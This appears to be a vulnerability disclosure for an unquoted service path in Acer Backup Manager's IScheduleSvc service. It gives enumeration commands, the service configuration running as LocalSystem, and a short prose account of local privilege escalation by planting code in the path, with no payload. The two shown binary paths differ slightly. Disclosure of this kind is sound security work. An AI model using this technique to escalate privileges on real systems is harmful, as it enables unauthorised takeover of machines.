Acer Backup Manager Module 3.0.0.99 Unquoted Service Path

`# Exploit Title: Acer Backup Manager Module 3.0.0.99 - 'IScheduleSvc.exe' Unquoted Service Path  
# Discovery by: Emmanuel Lujan  
# Discovery Date: 2021-05-19  
# Vendor Homepage: https://www.acer.com/ac/en/US/content/home  
# Tested Version: 3.0.0.99  
# Vulnerability Type: Unquoted Service Path  
# Tested on OS: Windows 7 Home Premium x64   
  
# Step to discover Unquoted Service Path:   
  
C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """  
  
NTI IScheduleSvc NTI ISch  
eduleSvc C:\Program Files (x86)\NTI\Acer Backup Man  
ager\IScheduleSvc.exe Auto  
  
  
# Service info:  
  
C:\>sc qc "NTI IScheduleSvc"  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: NTI IScheduleSvc  
TYPE : 110 WIN32_OWN_PROCESS <interactive>  
START_TYPE : 2 AUTO_START   
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : C:\Program Files (x86)\Acer Backup Manager\IScheduleSvc.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : NTI IScheduleSvc  
DEPENDENCIES :   
SERVICE_START_NAME : LocalSystem  
  
#Exploit:  
  
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other  
security applications where it could potentially be executed during application startup or reboot. If successful, the local user's   
code would execute with the elevated privileges of the application.  
`